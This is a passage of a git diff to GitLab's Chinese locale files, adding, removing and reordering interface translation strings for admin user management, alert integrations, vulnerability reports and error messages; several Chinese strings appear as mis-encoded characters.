msgid "open issue"
msgstr "å¼€å¯çš„议题"
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr "%{user}å¼€å¯äºŽ%{timeAgoString}"
@@ -32078,6 +32796,9 @@ msgstr "å¼€å¯äºŽ%{timeAgo}"
msgid "or"
msgstr "或"
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] "于总计%d个测试中"
@@ -32151,6 +32872,9 @@ msgstr "项目为åªè¯»"
msgid "project members"
msgstr "项目æˆå‘˜"
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr "项目"
@@ -32203,6 +32927,9 @@ msgstr "满足"
msgid "security Reports|There was an error creating the merge request"
msgstr "创建åˆå¹¶è¯·æ±‚时出错"
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr "严é‡"
@@ -32215,9 +32942,15 @@ msgstr "ä¿¡æ¯"
msgid "severity|Low"
msgstr "低"
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr "中"
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr "æ— "
@@ -32266,9 +32999,6 @@ msgstr "%{slash_command} 将会更新消耗的总时长。"
msgid "ssh:"
msgstr "ssh:"
-msgid "started"
-msgstr "已开始"
-
msgid "started a discussion on %{design_link}"
msgstr "开始讨论%{design_link}"
@@ -32299,11 +33029,11 @@ msgstr "模æ¿å·²å‡†å¤‡å°±ç»ªï¼çŽ°åœ¨ï¼Œæ‚¨å¯ä»¥æ交以创建您的第一æ¡
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr "我们正在添加GitLab CIé…置文件,以将æµæ°´çº¿æ·»åŠ åˆ°é¡¹ç›®ä¸­ã€‚您也å¯ä»¥æ‰‹åŠ¨åˆ›å»ºï¼Œä½†æˆ‘们建议您从一个开箱å³ç”¨çš„GitLab模æ¿å¼€å§‹ã€‚"
-msgid "syntax is correct"
-msgstr "语法正确"
+msgid "syntax is correct."
+msgstr ""
-msgid "syntax is incorrect"
-msgstr "语法ä¸æ­£ç¡®"
+msgid "syntax is incorrect."
+msgstr ""
msgid "tag name"
msgstr "标签å称"
@@ -32311,6 +33041,9 @@ msgstr "标签å称"
msgid "teammate%{number}@company.com"
msgstr "teammate%{number}@company.com"
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr "下列议题"
@@ -32320,6 +33053,9 @@ msgstr "此文档"
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "帮助您的贡献者进行有效沟通ï¼"
@@ -32392,6 +33128,10 @@ msgstr "查看blob"
msgid "view the source"
msgstr "查看æºä»£ç "
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+
msgid "vulnerability|Add a comment"
msgstr "添加评论"
diff --git a/locale/zh_HK/gitlab.po b/locale/zh_HK/gitlab.po
index 352e25678c5..d05ec6c77db 100644
--- a/locale/zh_HK/gitlab.po
+++ b/locale/zh_HK/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: zh-HK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:43\n"
+"PO-Revision-Date: 2020-12-03 08:11\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -79,6 +79,10 @@ msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -146,14 +150,14 @@ msgid "%d day"
msgid_plural "%d days"
msgstr[0] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] ""
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] "%d 導出"
@@ -296,22 +300,13 @@ msgstr "%{actionText} 和 %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -385,6 +380,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -457,21 +455,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "將會移除 %{issuableType}ï¼ç¢ºå®šï¼Ÿ"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -505,13 +506,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -544,9 +545,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} 開始"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -645,31 +643,13 @@ msgstr[0] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -725,6 +705,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -817,6 +800,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -835,12 +821,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1415,9 +1395,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1764,9 +1741,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -1989,6 +1972,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "æ´»èº"
@@ -2037,16 +2029,19 @@ msgstr "å·²å°éŽ–"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "無法解å°éŽ–已被å°éŽ–çš„ LDAP 使用者"
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2073,6 +2068,9 @@ msgstr "外部"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2109,6 +2107,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2148,6 +2155,15 @@ msgstr "請輸入 %{projectName} 以進行確èª"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "請輸入 %{username} 以進行確èª"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2157,6 +2173,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2166,6 +2185,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2178,7 +2206,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2389,6 +2423,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2398,9 +2450,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2428,6 +2489,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2440,7 +2507,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2449,27 +2522,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2479,9 +2576,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2491,6 +2585,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2503,6 +2609,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2518,16 +2627,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2632,6 +2762,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "å…許在 Asciidoc 文件中渲染 PlantUML 圖片"
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2749,9 +2882,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2872,9 +3002,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -2908,16 +3035,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr "讀å–專案時發生錯誤"
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -2974,6 +3104,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3001,9 +3134,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3034,6 +3164,9 @@ msgstr "訂閱通知時出錯"
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3052,6 +3185,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3238,6 +3374,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3296,6 +3438,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3377,6 +3522,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3428,9 +3576,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "確定è¦åˆªé™¤æ­¤æµæ°´ç·šè¨ˆåŠƒå—Žï¼Ÿ"
@@ -3480,6 +3625,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "確定è¦é‡ç½®è¨»å†Šä»¤ç‰Œå—Žï¼Ÿ"
@@ -3752,6 +3900,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3872,6 +4026,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4160,12 +4317,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4190,6 +4353,10 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4241,6 +4408,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4499,9 +4669,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4529,6 +4696,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4625,6 +4795,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4652,6 +4825,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "å–消"
@@ -4685,9 +4864,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4829,6 +5005,9 @@ msgstr "變更"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4847,9 +5026,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -4916,6 +5092,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5102,12 +5281,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5141,6 +5314,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5309,7 +5485,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5351,10 +5527,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5402,7 +5578,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5411,9 +5587,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
